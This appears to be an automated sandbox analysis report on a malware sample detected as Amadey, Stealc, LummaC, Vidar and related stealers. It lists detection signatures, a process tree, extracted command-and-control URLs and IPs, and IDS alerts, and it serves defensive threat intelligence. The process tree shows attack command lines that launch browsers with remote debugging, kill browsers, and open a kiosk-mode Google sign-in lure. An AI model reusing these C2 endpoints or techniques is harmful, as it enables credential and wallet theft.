Edit tour

Windows Analysis Report
file.exe

Overview

General Information

Sample name:	file.exe
Analysis ID:	1561790
MD5:	bd3c9426f58b0aa58a0622b721f7c17f
SHA1:	aadbfb4fcc6a8c76b8cc15a62d8e2d7d139a09f6
SHA256:	715223f9d8cbff4640796f95054a54aaba8a06c7215d167a13d9f1ebf8bc1f17
Tags:	Amadeyexeuser-Bitsight
Infos:

Detection

Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc, Vidar

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus / Scanner detection for submitted sample

Antivirus detection for URL or domain

Antivirus detection for dropped file

Attempt to bypass Chrome Application-Bound Encryption

Detected unpacking (changes PE section rights)

Found malware configuration

Multi AV Scanner detection for dropped file

Multi AV Scanner detection for submitted file

Suricata IDS alerts for network traffic

Yara detected Amadeys stealer DLL

Yara detected Credential Flusher

Yara detected Cryptbot

Yara detected LummaC Stealer

Yara detected Powershell download and execute

Yara detected Stealc

Yara detected Vidar stealer

AI detected suspicious sample

Binary is likely a compiled AutoIt script file

C2 URLs / IPs found in malware configuration

Checks for kernel code integrity (NtQuerySystemInformation(CodeIntegrityInformation))

Creates multiple autostart registry keys

Disable Windows Defender notifications (registry)

Disable Windows Defender real time protection (registry)

Disables Windows Defender Tamper protection

Found many strings related to Crypto-Wallets (likely being stolen)

Hides threads from debuggers

Machine Learning detection for dropped file

Machine Learning detection for sample

Modifies windows update settings

Monitors registry run keys for changes

PE file contains section with special chars

Potentially malicious time measurement code found

Query firmware table information (likely to detect VMs)

Sigma detected: New RUN Key Pointing to Suspicious Folder

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Tries to detect sandboxes and other dynamic analysis tools (window names)

Tries to detect virtualization through RDTSC time measurements

Tries to evade debugger and weak emulator (self modifying code)

Tries to harvest and steal Bitcoin Wallet information

Tries to harvest and steal browser information (history, passwords, etc)

Tries to harvest and steal ftp login credentials

Tries to steal Crypto Currency Wallets

Tries to steal Mail credentials (via file / registry access)

Abnormal high CPU Usage

Allocates memory with a write watch (potentially for evading sandboxes)

Checks for debuggers (devices)

Checks for kernel debuggers (NtQuerySystemInformation(SystemKernelDebuggerInformation))

Checks if Antivirus/Antispyware/Firewall program is installed (via WMI)

Checks if the current process is being debugged

Contains capabilities to detect virtual machines

Contains functionality for execution timing, often used to detect debuggers

Contains functionality to call native functions

Contains functionality to check if a debugger is running (IsDebuggerPresent)

Contains functionality to dynamically determine API calls

Contains functionality to open a port and listen for incoming connection (possibly a backdoor)

Contains functionality to query CPU information (cpuid)

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Creates files inside the system directory

Creates job files (autostart)

Detected potential crypto function

Downloads executable code via HTTP

Drops PE files

Enables debug privileges

Entry point lies outside standard sections

Extensive use of GetProcAddress (often used to hide API calls)

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Found large amount of non-executed APIs

Found potential string decryption / allocating functions

HTTP GET or POST without a user agent

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

Monitors certain registry keys / values for changes (often done to protect autostart functionality)

PE file contains an invalid checksum

PE file contains sections with non-standard names

Queries information about the installed CPU (vendor, model number etc)

Queries sensitive BIOS Information (via WMI, Win32_Bios & Win32_BaseBoard, often done to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Searches for user specific document files

Sigma detected: Browser Started with Remote Debugging

Sigma detected: CurrentVersion Autorun Keys Modification

Stores files to the Windows start menu directory

Suricata IDS alerts with low severity for network traffic

Uses 32bit PE files

Uses Microsoft's Enhanced Cryptographic Provider

Uses code obfuscation techniques (call, push, ret)

Uses taskkill to terminate processes

Yara detected Credential Stealer

Classification

Process Tree

System is w10x64

file.exe (PID: 3192 cmdline: "C:\Users\user\Desktop\file.exe" MD5: BD3C9426F58B0AA58A0622B721F7C17F)

skotes.exe (PID: 5400 cmdline: "C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe" MD5: BD3C9426F58B0AA58A0622B721F7C17F)

skotes.exe (PID: 6152 cmdline: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe MD5: BD3C9426F58B0AA58A0622B721F7C17F)

skotes.exe (PID: 764 cmdline: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe MD5: BD3C9426F58B0AA58A0622B721F7C17F)

f398072083.exe (PID: 1964 cmdline: "C:\Users\user\AppData\Local\Temp\1008713001\f398072083.exe" MD5: 3DE87DE137ED1ADCDE5DE7897A8C2C3F)

chrome.exe (PID: 7144 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9222 --profile-directory="Default" MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

chrome.exe (PID: 7520 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2556 --field-trial-handle=2516,i,6233154208295439855,16242932111608889233,262144 /prefetch:8 MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

c9ac8940e6.exe (PID: 5136 cmdline: "C:\Users\user\AppData\Local\Temp\1008718001\c9ac8940e6.exe" MD5: 0A75820B356A011E9FA427D658F1E3C0)

194fcc03d1.exe (PID: 3172 cmdline: "C:\Users\user\AppData\Local\Temp\1008719001\194fcc03d1.exe" MD5: CB78B3CF97D74F0540679225A564E8B0)

chrome.exe (PID: 6492 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory="Default" MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

chrome.exe (PID: 4336 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2344 --field-trial-handle=2076,i,9030642399667045359,14306914174560319043,262144 /prefetch:8 MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

chrome.exe (PID: 7212 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=5284 --field-trial-handle=2076,i,9030642399667045359,14306914174560319043,262144 /prefetch:8 MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

msedge.exe (PID: 1864 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --remote-debugging-port=9229 --profile-directory="Default" MD5: 69222B8101B0601CC6663F8381E7E00F)

6d2b6a8d0b.exe (PID: 2892 cmdline: "C:\Users\user\AppData\Local\Temp\1008720001\6d2b6a8d0b.exe" MD5: 2C54882BE674E76F31F1F13CFD331D55)

taskkill.exe (PID: 5512 cmdline: taskkill /F /IM firefox.exe /T MD5: CA313FD7E6C2A778FFD21CFB5C1C56CD)

conhost.exe (PID: 4996 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

taskkill.exe (PID: 6352 cmdline: taskkill /F /IM chrome.exe /T MD5: CA313FD7E6C2A778FFD21CFB5C1C56CD)

conhost.exe (PID: 1864 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

msedge.exe (PID: 3060 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2676 --field-trial-handle=2144,i,222551570837177175,109196626454061472,262144 /prefetch:3 MD5: 69222B8101B0601CC6663F8381E7E00F)

taskkill.exe (PID: 4744 cmdline: taskkill /F /IM msedge.exe /T MD5: CA313FD7E6C2A778FFD21CFB5C1C56CD)

conhost.exe (PID: 5636 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

taskkill.exe (PID: 5708 cmdline: taskkill /F /IM opera.exe /T MD5: CA313FD7E6C2A778FFD21CFB5C1C56CD)

conhost.exe (PID: 2696 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

taskkill.exe (PID: 2072 cmdline: taskkill /F /IM brave.exe /T MD5: CA313FD7E6C2A778FFD21CFB5C1C56CD)

conhost.exe (PID: 7064 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

firefox.exe (PID: 1184 cmdline: "C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk "https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd" --no-default-browser-check --disable-popup-blocking MD5: C86B1BE9ED6496FE0E0CBE73F81D8045)

df975f4fc1.exe (PID: 7456 cmdline: "C:\Users\user\AppData\Local\Temp\1008721001\df975f4fc1.exe" MD5: 9835CBFE3DC7AE0FEE6A1F29ECEAD86F)

c9ac8940e6.exe (PID: 1896 cmdline: "C:\Users\user\AppData\Local\Temp\1008718001\c9ac8940e6.exe" MD5: 0A75820B356A011E9FA427D658F1E3C0)

firefox.exe (PID: 1224 cmdline: "C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd --no-default-browser-check --disable-popup-blocking --attempting-deelevation MD5: C86B1BE9ED6496FE0E0CBE73F81D8045)

firefox.exe (PID: 6048 cmdline: "C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd --no-default-browser-check --disable-popup-blocking MD5: C86B1BE9ED6496FE0E0CBE73F81D8045)

firefox.exe (PID: 3196 cmdline: "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=2192 -parentBuildID 20230927232528 -prefsHandle 2136 -prefMapHandle 2120 -prefsLen 25308 -prefMapSize 237879 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {55057f5d-f16e-4f69-8833-b78b222255b4} 6048 "\\.\pipe\gecko-crash-server-pipe.6048" 1e15e16d710 socket MD5: C86B1BE9ED6496FE0E0CBE73F81D8045)

firefox.exe (PID: 6088 cmdline: "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=4160 -parentBuildID 20230927232528 -prefsHandle 3700 -prefMapHandle 3968 -prefsLen 26338 -prefMapSize 237879 -appDir "C:\Program Files\Mozilla Firefox\browser" - {fbc5f12b-0f59-4048-a56b-678ab339fac2} 6048 "\\.\pipe\gecko-crash-server-pipe.6048" 1e16f218810 rdd MD5: C86B1BE9ED6496FE0E0CBE73F81D8045)

194fcc03d1.exe (PID: 7504 cmdline: "C:\Users\user\AppData\Local\Temp\1008719001\194fcc03d1.exe" MD5: CB78B3CF97D74F0540679225A564E8B0)

msedge.exe (PID: 7256 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --remote-debugging-port=9229 --profile-directory=Default --flag-switches-begin --flag-switches-end --disable-nacl --do-not-de-elevate MD5: 69222B8101B0601CC6663F8381E7E00F)

msedge.exe (PID: 7404 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2192 --field-trial-handle=2004,i,9989654946194290237,14104639029319038237,262144 /prefetch:3 MD5: 69222B8101B0601CC6663F8381E7E00F)

msedge.exe (PID: 8360 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-GB --service-sandbox-type=asset_store_service --mojo-platform-channel-handle=6684 --field-trial-handle=2004,i,9989654946194290237,14104639029319038237,262144 /prefetch:8 MD5: 69222B8101B0601CC6663F8381E7E00F)

msedge.exe (PID: 7880 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=entity_extraction_service.mojom.Extractor --lang=en-GB --service-sandbox-type=entity_extraction --onnx-enabled-for-ee --mojo-platform-channel-handle=6908 --field-trial-handle=2004,i,9989654946194290237,14104639029319038237,262144 /prefetch:8 MD5: 69222B8101B0601CC6663F8381E7E00F)

6d2b6a8d0b.exe (PID: 7548 cmdline: "C:\Users\user\AppData\Local\Temp\1008720001\6d2b6a8d0b.exe" MD5: 2C54882BE674E76F31F1F13CFD331D55)

taskkill.exe (PID: 8556 cmdline: taskkill /F /IM firefox.exe /T MD5: CA313FD7E6C2A778FFD21CFB5C1C56CD)

conhost.exe (PID: 8576 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

taskkill.exe (PID: 7280 cmdline: MD5: CA313FD7E6C2A778FFD21CFB5C1C56CD)

conhost.exe (PID: 7288 cmdline: MD5: 0D698AF330FD17BEE3BF90011D49251D)

taskkill.exe (PID: 4256 cmdline: MD5: CA313FD7E6C2A778FFD21CFB5C1C56CD)

conhost.exe (PID: 6092 cmdline: MD5: 0D698AF330FD17BEE3BF90011D49251D)

df975f4fc1.exe (PID: 8120 cmdline: MD5: 9835CBFE3DC7AE0FEE6A1F29ECEAD86F)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Amadey	Amadey is a botnet that appeared around October 2018 and is being sold for about $500 on Russian-speaking hacking forums. It periodically sends information about the system and installed AV software to its C2 server and polls to receive orders from it. Its main functionality is that it can load other payloads (called "tasks") for all or specifically targeted computers compromised by the malware.	No Attribution	https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://asec.ahnlab.com/en/36634/ https://asec.ahnlab.com/en/40483/ https://asec.ahnlab.com/en/41450/ https://asec.ahnlab.com/en/44504/	https://malpedia.caad.fkie.fraunhofer.de/details/win.amadey

Name	Description	Attribution	Blogpost URLs	Link
CryptBot	A typical infostealer, capable of obtaining credentials for browsers, crypto currency wallets, browser cookies, credit cards, and creates screenshots of the infected system. All stolen data is bundled into a zip-file that is uploaded to the c2.	No Attribution	https://any.run/cybersecurity-blog/cryptbot-infostealer-malware-analysis/ https://asec.ahnlab.com/en/24423/ https://asec.ahnlab.com/en/26052/ https://asec.ahnlab.com/en/31683/ https://asec.ahnlab.com/en/31802/	https://malpedia.caad.fkie.fraunhofer.de/details/win.cryptbot

Name	Description	Attribution	Blogpost URLs	Link
Stealc	Stealc is an information stealer advertised by its presumed developer Plymouth on Russian-speaking underground forums and sold as a Malware-as-a-Service since January 9, 2023. According to Plymouth's statement, stealc is a non-resident stealer with flexible data collection settings and its development is relied on other prominent stealers: Vidar, Raccoon, Mars and Redline.Stealc is written in C and uses WinAPI functions. It mainly targets date from web browsers, extensions and Desktop application of cryptocurrency wallets, and from other applications (messengers, email clients, etc.). The malware downloads 7 legitimate third-party DLLs to collect sensitive data from web browsers, including sqlite3.dll, nss3.dll, vcruntime140.dll, mozglue.dll, freebl3.dll, softokn3.dll and msvcp140.dll. It then exfiltrates the collected information file by file to its C2 server using HTTP POST requests.	No Attribution	https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://blog.sekoia.io/stealc-a-copycat-of-vidar-and-raccoon-infostealers-gaining-in-popularity-part-1/ https://blog.sekoia.io/stealc-a-copycat-of-vidar-and-raccoon-infostealers-gaining-in-popularity-part-2/ https://cocomelonc.github.io/book/2023/12/13/malwild-book.html https://g0njxa.medium.com/approaching-stealers-devs-a-brief-interview-with-stealc-cbe5c94b84af	https://malpedia.caad.fkie.fraunhofer.de/details/win.stealc

Name	Description	Attribution	Blogpost URLs	Link
Vidar	Vidar is a forked malware based on Arkei. It seems this stealer is one of the first that is grabbing information on 2FA Software and Tor Browser.	No Attribution	https://0x00-0x7f.github.io/A-Case-of-Vidar-Infostealer-Part-1-(-Unpacking-)/ https://0x00-0x7f.github.io/A-Case-of-Vidar-Infostealer-Part-2/ https://0xtoxin-labs.gitbook.io/malware-analysis/malware-analysis/vidar-stealer-h-and-m-campaign https://0xtoxin.github.io/malware%20analysis/Vidar-Stealer-Campaign/ https://asec.ahnlab.com/en/22932/	https://malpedia.caad.fkie.fraunhofer.de/details/win.vidar

Malware Configuration

Threatname: StealC

{"C2 url": "185.215.113.206/c4becf79229cb002.php", "Botnet": "mars"}

Threatname: LummaC

{"C2 url": "https://property-imper.sbs/api", "Build Version": "LOGS11--LiveTraffi"}

Threatname: Amadey

{"C2 url": "185.215.113.43/Zu7JuNko/index.php", "Version": "4.42", "Install Folder": "abc3bc1985", "Install File": "skotes.exe"}

Yara Signatures

PCAP (Network Traffic)

Source	Rule	Description	Author
dump.pcap	JoeSecurity_Cryptbot	Yara detected Cryptbot	Joe Security
dump.pcap	JoeSecurity_Stealc_1	Yara detected Stealc	Joe Security
sslproxydump.pcap	JoeSecurity_LummaCStealer_3	Yara detected LummaC Stealer	Joe Security

Memory Dumps

Source	Rule	Description	Author
0000000A.00000003.3152697740.0000000001662000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0000000A.00000003.3164368128.0000000001676000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0000001F.00000003.3229372369.0000000005710000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
0000000A.00000003.3314647302.0000000001675000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0000000A.00000003.3252377166.0000000001675000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0000000A.00000003.3289641174.0000000001674000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000000.00000002.2107998827.0000000000441000.00000040.00000001.01000000.00000003.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000009.00000002.3616618851.0000000001A42000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0000000A.00000003.3229587357.0000000001674000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0000001F.00000002.3658723623.0000000000D71000.00000040.00000001.01000000.0000000B.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
0000000A.00000003.3201101586.000000000165F000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000006.00000003.2618225636.0000000004C50000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000003.00000002.2166546113.00000000006C1000.00000040.00000001.01000000.00000007.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
0000000B.00000003.3153308328.00000000017DF000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialFlusher	Yara detected Credential Flusher	Joe Security
00000009.00000002.3616618851.00000000019CE000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000009.00000002.3616618851.00000000019CE000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
0000000A.00000003.3256030973.0000000001675000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000003.00000003.2126359848.0000000004E90000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
0000001F.00000002.3672144910.00000000019CB000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
0000000A.00000003.3152785870.0000000001674000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000000.00000003.2067711605.0000000004CA0000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
0000000A.00000003.3252003862.0000000001675000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000009.00000003.3042712331.0000000005730000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000002.00000002.2152371518.00000000006C1000.00000040.00000001.01000000.00000007.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000009.00000002.3600590681.0000000000D71000.00000040.00000001.01000000.0000000B.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000002.00000003.2111778278.0000000004E90000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
0000000A.00000003.3261974882.0000000001674000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: 194fcc03d1.exe PID: 3172	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
Process Memory Space: 194fcc03d1.exe PID: 3172	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security
Process Memory Space: 194fcc03d1.exe PID: 3172	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: 194fcc03d1.exe PID: 3172	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
Process Memory Space: c9ac8940e6.exe PID: 1896	JoeSecurity_LummaCStealer_3	Yara detected LummaC Stealer	Joe Security
Process Memory Space: c9ac8940e6.exe PID: 1896	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: c9ac8940e6.exe PID: 1896	JoeSecurity_LummaCStealer	Yara detected LummaC Stealer	Joe Security
Process Memory Space: 6d2b6a8d0b.exe PID: 2892	JoeSecurity_CredentialFlusher	Yara detected Credential Flusher	Joe Security
Click to see the 30 entries

Unpacked PEs

Source	Rule	Description	Author
2.2.skotes.exe.6c0000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
0.2.file.exe.440000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
3.2.skotes.exe.6c0000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security

Sigma Signatures

System Summary

Sigma detected: New RUN Key Pointing to Suspicious Folder

Source: Registry Key set

Author: Florian Roth (Nextron Systems), Markus Neis, Sander Wiebing: Data: Details: C:\Users\user\AppData\Local\Temp\1008718001\c9ac8940e6.exe, EventID: 13, EventType: SetValue, Image: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe, ProcessId: 764, TargetObject: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\c9ac8940e6.exe

Sigma detected: Browser Started with Remote Debugging

Source: Process started

Author: pH-T (Nextron Systems), Nasreddine Bencherchali (Nextron Systems): Data: Command: "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory="Default", CommandLine: "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory="Default", CommandLine|base64offset|contains: ^", Image: C:\Program Files\Google\Chrome\Application\chrome.exe, NewProcessName: C:\Program Files\Google\Chrome\Application\chrome.exe, OriginalFileName: C:\Program Files\Google\Chrome\Application\chrome.exe, ParentCommandLine: "C:\Users\user\AppData\Local\Temp\1008719001\194fcc03d1.exe" , ParentImage: C:\Users\user\AppData\Local\Temp\1008719001\194fcc03d1.exe, ParentProcessId: 3172, ParentProcessName: 194fcc03d1.exe, ProcessCommandLine: "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory="Default", ProcessId: 6492, ProcessName: chrome.exe

Sigma detected: CurrentVersion Autorun Keys Modification

Source: Registry Key set

Author: Victor Sergeev, Daniil Yugoslavskiy, Gleb Sukhodolskiy, Timur Zinniatullin, oscd.community, Tim Shelton, frack113 (split): Data: Details: C:\Users\user\AppData\Local\Temp\1008718001\c9ac8940e6.exe, EventID: 13, EventType: SetValue, Image: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe, ProcessId: 764, TargetObject: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\c9ac8940e6.exe

Suricata Signatures

ET JA3 Hash - Possible Malware - Fake Firefox Font Update

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-24T10:24:37.479928+0100	2028371	3	Unknown Traffic	192.168.2.5	49872	104.21.33.116	443	TCP
2024-11-24T10:24:39.462731+0100	2028371	3	Unknown Traffic	192.168.2.5	49880	104.21.33.116	443	TCP
2024-11-24T10:24:53.303330+0100	2028371	3	Unknown Traffic	192.168.2.5	49916	104.21.33.116	443	TCP
2024-11-24T10:24:55.405525+0100	2028371	3	Unknown Traffic	192.168.2.5	49923	104.21.33.116	443	TCP
2024-11-24T10:25:00.518490+0100	2028371	3	Unknown Traffic	192.168.2.5	49951	104.21.33.116	443	TCP
2024-11-24T10:25:06.037444+0100	2028371	3	Unknown Traffic	192.168.2.5	49978	104.21.33.116	443	TCP
2024-11-24T10:25:11.992863+0100	2028371	3	Unknown Traffic	192.168.2.5	50010	104.21.33.116	443	TCP
2024-11-24T10:25:18.888979+0100	2028371	3	Unknown Traffic	192.168.2.5	50064	104.21.33.116	443	TCP
2024-11-24T10:25:22.964214+0100	2028371	3	Unknown Traffic	192.168.2.5	50085	104.21.33.116	443	TCP
2024-11-24T10:25:30.092872+0100	2028371	3	Unknown Traffic	192.168.2.5	50120	104.21.33.116	443	TCP
2024-11-24T10:25:31.161165+0100	2028371	3	Unknown Traffic	192.168.2.5	50129	104.21.33.116	443	TCP
2024-11-24T10:25:32.630233+0100	2028371	3	Unknown Traffic	192.168.2.5	50138	104.21.33.116	443	TCP
2024-11-24T10:25:34.887380+0100	2028371	3	Unknown Traffic	192.168.2.5	50143	104.21.33.116	443	TCP
2024-11-24T10:25:37.201827+0100	2028371	3	Unknown Traffic	192.168.2.5	50147	104.21.33.116	443	TCP
2024-11-24T10:25:39.643955+0100	2028371	3	Unknown Traffic	192.168.2.5	50152	104.21.33.116	443	TCP
2024-11-24T10:25:41.998751+0100	2028371	3	Unknown Traffic	192.168.2.5	50156	104.21.33.116	443	TCP
2024-11-24T10:25:44.644797+0100	2028371	3	Unknown Traffic	192.168.2.5	50160	104.21.33.116	443	TCP
2024-11-24T10:25:46.783266+0100	2028371	3	Unknown Traffic	192.168.2.5	50164	104.21.33.116	443	TCP
2024-11-24T10:26:29.597156+0100	2028371	3	Unknown Traffic	192.168.2.5	50234	20.42.73.29	443	TCP
2024-11-24T10:27:54.176410+0100	2028371	3	Unknown Traffic	192.168.2.5	50278	20.42.73.24	443	TCP
2024-11-24T10:29:49.873136+0100	2028371	3	Unknown Traffic	192.168.2.5	50322	20.189.173.20	443	TCP

ET MALWARE Lumma Stealer CnC Host Checkin

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-24T10:24:38.301268+0100	2054653	1	A Network Trojan was detected	192.168.2.5	49872	104.21.33.116	443	TCP
2024-11-24T10:24:54.014871+0100	2054653	1	A Network Trojan was detected	192.168.2.5	49916	104.21.33.116	443	TCP
2024-11-24T10:24:56.793267+0100	2054653	1	A Network Trojan was detected	192.168.2.5	49923	104.21.33.116	443	TCP
2024-11-24T10:25:30.812202+0100	2054653	1	A Network Trojan was detected	192.168.2.5	50120	104.21.33.116	443	TCP
2024-11-24T10:25:31.862697+0100	2054653	1	A Network Trojan was detected	192.168.2.5	50129	104.21.33.116	443	TCP
2024-11-24T10:25:33.347952+0100	2054653	1	A Network Trojan was detected	192.168.2.5	50138	104.21.33.116	443	TCP
2024-11-24T10:25:47.484316+0100	2054653	1	A Network Trojan was detected	192.168.2.5	50164	104.21.33.116	443	TCP

ET MALWARE Lumma Stealer Related Activity

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-24T10:24:38.301268+0100	2049836	1	A Network Trojan was detected	192.168.2.5	49872	104.21.33.116	443	TCP
2024-11-24T10:24:54.014871+0100	2049836	1	A Network Trojan was detected	192.168.2.5	49916	104.21.33.116	443	TCP
2024-11-24T10:25:30.812202+0100	2049836	1	A Network Trojan was detected	192.168.2.5	50120	104.21.33.116	443	TCP

ET MALWARE Lumma Stealer Related Activity M2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-24T10:24:56.793267+0100	2049812	1	A Network Trojan was detected	192.168.2.5	49923	104.21.33.116	443	TCP
2024-11-24T10:25:33.347952+0100	2049812	1	A Network Trojan was detected	192.168.2.5	50138	104.21.33.116	443	TCP

ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-24T10:25:33.348183+0100	2019714	2	Potentially Bad Traffic	192.168.2.5	50141	185.215.113.16	80	TCP
2024-11-24T10:25:49.080071+0100	2019714	2	Potentially Bad Traffic	192.168.2.5	50166	185.215.113.16	80	TCP

ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
